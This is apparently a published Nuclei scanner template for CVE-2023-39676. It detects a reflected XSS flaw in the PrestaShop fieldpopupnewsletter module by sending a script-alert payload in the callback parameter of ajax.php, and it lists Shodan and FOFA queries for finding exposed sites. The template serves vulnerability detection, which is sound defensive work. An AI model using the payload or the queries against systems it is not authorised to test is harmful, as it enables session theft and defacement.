PrestaShop fieldpopupnewsletter Module - Cross Site Scripting

ID: CVE-2023-39676

Severity: medium

Author: meme-lord

Tags: cve2023,cve,prestashop,xss,fieldthemes

Description

Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.

YAML Source

id: CVE-2023-39676

info:
  name: PrestaShop fieldpopupnewsletter Module - Cross Site Scripting
  author: meme-lord
  severity: medium
  description: |
    Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential theft of sensitive information, session hijacking, or defacement.
  reference:
    - https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/
    - https://sorcery.ie
    - https://themeforest.net/user/fieldthemes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39676
    cwe-id: CWE-79
    epss-score: 0.00167
    epss-percentile: 0.53401
    cpe: cpe:2.3:a:fieldthemes:fieldpopupnewsletter:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: fieldthemes
    product: fieldpopupnewsletter
    framework: prestashop
    shodan-query:
      - html:"fieldpopupnewsletter"
      - http.html:"fieldpopupnewsletter"
    fofa-query: body="fieldpopupnewsletter"
  tags: cve2023,cve,prestashop,xss,fieldthemes

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Invalid email"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204f0cf0bda6285a9437e51ee96a5824cca33e1ca1dbc17c78ee9ef72f4c3c33bf02202fc51ad97e1c5d3f41f25fee38983c78b8d034f1a3a80882686c8463697ada9d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39676.yaml"

View on Github